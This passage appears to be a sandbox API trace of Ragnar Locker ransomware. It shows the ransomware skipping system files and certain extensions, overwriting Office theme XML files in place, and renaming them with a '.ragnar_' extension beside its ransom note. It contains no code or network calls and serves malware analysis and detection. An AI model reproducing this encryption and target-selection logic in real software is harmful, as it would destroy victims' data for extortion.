lpString2="autorun.inf") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="boot.ini") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="bootfont.bin") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="bootsect.bak") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgr") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgr.efi") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="bootmgfw.efi") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="desktop.ini") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="iconcache.db") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="ntldr") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.dat") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.dat.log") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="ntuser.ini") returned 1 [0093.667] lstrcmpiW (lpString1="Paper.xml", lpString2="thumbs.db") returned -1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.667] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml")) returned 0x20 [0093.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.668] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.668] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.668] GetProcessHeap () returned 0x580000 [0093.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.668] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.670] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.670] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.670] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.670] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.670] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.670] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.670] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.670] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.670] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.670] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.670] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.670] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.671] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.671] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.671] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.671] GetProcessHeap () returned 0x580000 [0093.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.671] CloseHandle (hObject=0x10c) returned 1 [0093.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" [0093.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.ragnar_FD7BD9FC" [0093.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.672] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0093.672] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.672] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Perspective.xml" | out: lpString1="Perspective.xml") returned="Perspective.xml" [0093.672] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml") returned=".xml" [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="autorun.inf") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="boot.ini") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootfont.bin") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootsect.bak") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgr") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgr.efi") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="bootmgfw.efi") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="desktop.ini") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="iconcache.db") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntldr") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.dat") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.dat.log") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="ntuser.ini") returned 1 [0093.672] lstrcmpiW (lpString1="Perspective.xml", lpString2="thumbs.db") returned -1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.672] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml")) returned 0x20 [0093.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.673] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=966) returned 1 [0093.673] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.673] GetProcessHeap () returned 0x580000 [0093.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.673] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.675] VirtualAlloc (lpAddress=0x0, dwSize=0x3c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.675] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c6, lpOverlapped=0x0) returned 1 [0093.675] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.675] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.675] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c6, lpOverlapped=0x0) returned 1 [0093.676] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.676] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.676] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.676] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.676] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.676] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.676] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.676] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.676] GetProcessHeap () returned 0x580000 [0093.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.676] CloseHandle (hObject=0x10c) returned 1 [0093.676] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" [0093.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.ragnar_FD7BD9FC" [0093.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.677] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0093.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.677] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Pushpin.xml" | out: lpString1="Pushpin.xml") returned="Pushpin.xml" [0093.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml") returned=".xml" [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="autorun.inf") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="boot.ini") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootfont.bin") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootsect.bak") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgr") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgr.efi") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="bootmgfw.efi") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="desktop.ini") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="iconcache.db") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntldr") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.dat") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.dat.log") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="ntuser.ini") returned 1 [0093.677] lstrcmpiW (lpString1="Pushpin.xml", lpString2="thumbs.db") returned -1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.678] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml")) returned 0x20 [0093.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.678] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=962) returned 1 [0093.678] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.678] GetProcessHeap () returned 0x580000 [0093.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.678] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.680] VirtualAlloc (lpAddress=0x0, dwSize=0x3c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.680] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c2, lpOverlapped=0x0) returned 1 [0093.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.680] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.680] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c2, lpOverlapped=0x0) returned 1 [0093.680] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.680] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.680] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.680] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.680] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.681] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.681] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.681] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.681] GetProcessHeap () returned 0x580000 [0093.681] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.681] CloseHandle (hObject=0x10c) returned 1 [0093.681] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" [0093.681] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.ragnar_FD7BD9FC" [0093.681] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.682] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89fa1000, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.682] lstrcpyW (in: lpString1=0x1eb64c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0093.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\RGNR_FD7BD9FC.txt") returned=".txt" [0093.682] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0093.682] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0093.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.682] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Slipstream.xml" | out: 